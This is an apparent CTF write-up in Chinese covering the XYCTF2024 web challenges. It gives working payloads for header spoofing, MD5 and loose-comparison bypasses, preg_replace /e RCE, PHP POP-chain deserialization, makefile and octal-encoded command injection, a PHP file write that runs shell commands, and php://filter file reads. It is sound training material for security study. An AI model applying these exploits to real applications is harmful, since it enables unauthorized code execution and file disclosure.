XYCTF2024

  1. WEB
    1. ezhttp
    2. ezmd5
    3. warm up
    4. ezPOP
    5. ezMake
    6. ez?Make
    7. 我是一个复读机
    8. ezRCE
    9. ezSerialize

WEB

ezhttp

F12看到有注释提示:

image-20240407093914280

访问/robots.txt

image-20240407094427420

继续访问/l0g1n.txt,拿到用户名密码:

username: XYCTF
password: @JOILha!wuigqi123$

然后就是一连串组合技,需要对http协议比较熟悉,抓包修改header头或者用hackbar:

POST /index.php HTTP/1.1
Host: xyctf.top:48057
Content-Length: 48
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: XYCTF
Origin: http://xyctf.top:48057
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: yuanshen.com
Client-IP: 127.0.0.1
Via: ymzx.qq.com
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ee;q=0.7
Cookie: XYCTF
Connection: close

username=XYCTF&password=%40JOILha%21wuigqi123%24

上述请求包依次对Referer,User-Agent,Client-IP,Via,Cookie进行修改,拿到flag

image-20240407095632660

ezmd5

题目要求上传两个图片,并进行比较,根据题目名称猜测是要求两张图片并不相同,但通过MD5比较相同,网上有大量的碰撞构造脚本,这里提供两张图片方便使用:

图片1:

barry

图片2:

james

上传后比较拿到flag

image-20240407144417875

warm up

题目给出源代码,第一个if可以通过数组绕过:

val1[]=1&val2[]=2

第二个if,因为是==比较,可以找一个0e开头的字符串MD5加密后开头也是0e的来绕过:

md5=0e215962017

第三个if同第二个if,这里要注意extract函数的用法,可以对变量XYCTF的值进行覆盖:

XYCTF=0e215962017&XY=0e215962017

第一关完整payload:

GET /?val1[]=1&val2[]=2&md5=0e215962017&XYCTF=0e215962017&XY=0e215962017

拿到第二关地址:

image-20240407145204544

第二关是个简单的preg_replace \e模式RCE利用,网上payload满天飞,学习之前建议先熟悉一下正则表达式

第二关完整payload:

POST  /LLeeevvveeelll222.php?a=/(.*)/ies&b=\1&c=`cat /f*`

a[]=1

image-20240407145712408

ezPOP

这题还是比较有难度的,这里只列出payload不做具体讲解,想深入了解的可私聊我发你好康的学习资料

首先是简单的反序列化构造,利用数组绕过throw异常抛出:

<?php
$c=new CCC();
$a=new AAA();
$b=new BBB();
$a->s=$b;
$a->a="ttycp3";
$c->c=$a;
echo serialize(array($c,null));

拿到序列化链:

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:1;N;}

把最后一位的1改成0:

a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:0;N;}

然后再利用一个PHP原生类构成完整payload:

POST /?xy=a:2:{i:0;O:3:"CCC":1:{s:1:"c";O:3:"AAA":2:{s:1:"s";O:3:"BBB":2:{s:1:"c";s:6:"system";s:1:"d";s:7:"cat /f*";}s:1:"a";s:6:"ttycp3";}}i:0;N;}

a=Closure::fromCallable&0=Closure&1=fromCallable

image-20240407151149503

引用某位师傅的解释:

利用 PHP原生类静态方法Closure::fromCallable,然后再以数组作为参数二次调用,这样经过call_user_func($a, $b) 以后,就形成了一个Closure ,它加载第一个参数($c),就变成了以那个参数命名的函数,例如system。然后再加载第二个参数($d)就变成了system函数的参数。

ezMake

这个需要学一下makefile的语法,这里借用一下变量shell拿到flag内容:

payload1

$(SHELL)  flag

image-20240407154248240

受王师傅启发,可以用echo写文件,所以我们也可以这样解:

payload2

echo '<?=`cat flag`?>' > 1.php

访问1.php拿到flag

image-20240411103549195

ez?Make

这个就是个简单的命令执行,只不过过滤了flag四个字母外加.?@$;/等等字符,这里提供一种绕过方式:

利用cd切换到根目录,利用管道符进行多次命令执行,再用more命令读取文件,用中括号匹配的方式绕过字母过滤

cd ..&&cd ..&&cd ..&&more [e-h][k-m][!e][e-h]

image-20240407161339160

我是一个复读机

题目告诉了用户名还给了弱密码字典,直接爆找到密码:

image-20240407162003987

简单试了两下,再看一眼题目环境是flask,是SSTI模板注入没错了

image-20240407162240167

过滤的有点狠,偶然发现可以这样执行config

image-20240407171656767

未完待续。。。

ezRCE

限制只能用数字和一些字符,留了$\很容易想到考察的是八进制RCE,构造payload:

cat /flag

八进制编码后为:

$'\143\141\164' $'\57\146\154\141\147'

因为空格不让使,可以用<代替,最终payload:

GET /?cmd=$'\143\141\164'<$'\57\146\154\141\147'

image-20240408172751357

ezSerialize

第一关利用取址符号让token和password相等就好:

<?php
class Flag {
    public $token;
    public $password;

    public function __construct($a)
    {
        $this->token = $a;
        $this->password = &$this->token;
    }
}
$f=new Flag(md5(mt_rand()));
echo serialize($f);

拿到序列化字符串:

O:4:"Flag":2:{s:5:"token";s:32:"a72f672fbda7ad4ee7710a53b1c55e59";s:8:"password";R:2;}

GET传参拿到第二关地址/fpclosefpclosefpcloseffflllaaaggg.php

image-20240409093342644

第二关属实是套起来了,不过都是很简单的构造,这里列出调用栈:

E::__weakup()-->D::__toString()-->B::__get()-->A::__invoke()-->C::__call()

构造脚本:

<?php
class A {
    public $mack; 
}

class B {
    public $luo;
}

class C {
    public $wang1;
}


class D {
    public $lao;
    public $chen="ttycp3";
}

class E {
    public $name;
    public $num;
}
$e=new E();
$c=new C();
$d=new D();
$b=new B();
$a=new A();
$a->mack=$c;
$b->luo=$a;
$d->lao=$b;
$e->name=$d;
echo serialize($e);

传入pop链拿到第三关地址saber_master_saber_master.php

POST /fpclosefpclosefpcloseffflllaaaggg.php

pop=O:1:"E":2:{s:4:"name";O:1:"D":2:{s:3:"lao";O:1:"B":1:{s:3:"luo";O:1:"A":1:{s:4:"mack";O:1:"C":1:{s:5:"wang1";N;}}}s:4:"chen";s:6:"ttycp3";}s:3:"num";N;}

image-20240410145152914

这一关的pop链构造也没什么难度,要什么值给什么值就好了,脚本如下:

<?php
class XYCTFNO1
{
    private $upsw1ng;
    public $crypto0='dev1l';
    public $T1ng='yuroandCMD258';
    public $Liu;
}

class XYCTFNO2
{
    public $crypto0;
    public $adwa;
}

class XYCTFNO3
{
    public $KickyMu;
    public $fpclose;
    public $N1ght = "oSthing";
}
$n1=new XYCTFNO1();
$n2=new XYCTFNO2();
$n3=new XYCTFNO3();
$n2->adwa=$n1;
$n3->KickyMu=$n2;
echo urlencode(serialize($n3));

这里要注意有私有变量,有不可见字符需要url编码一下,再利用原生类SplFileObject和伪协议读取flag.php

POST /saber_master_saber_master.php?CTF=O%3A8%3A%22XYCTFNO3%22%3A3%3A%7Bs%3A7%3A%22KickyMu%22%3BO%3A8%3A%22XYCTFNO2%22%3A2%3A%7Bs%3A7%3A%22crypto0%22%3BN%3Bs%3A4%3A%22adwa%22%3BO%3A8%3A%22XYCTFNO1%22%3A4%3A%7Bs%3A17%3A%22%00XYCTFNO1%00upsw1ng%22%3BN%3Bs%3A7%3A%22crypto0%22%3Bs%3A5%3A%22dev1l%22%3Bs%3A4%3A%22T1ng%22%3Bs%3A13%3A%22yuroandCMD258%22%3Bs%3A3%3A%22Liu%22%3BN%3B%7D%7Ds%3A7%3A%22fpclose%22%3BN%3Bs%3A5%3A%22N1ght%22%3Bs%3A7%3A%22oSthing%22%3B%7D

X=SplFileObject&Y=php://filter/convert.base64-encode/resource=saber_master_saber_master.php

image-20240410151743029

拿到flag,结束套娃之旅

image-20240410152100153


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com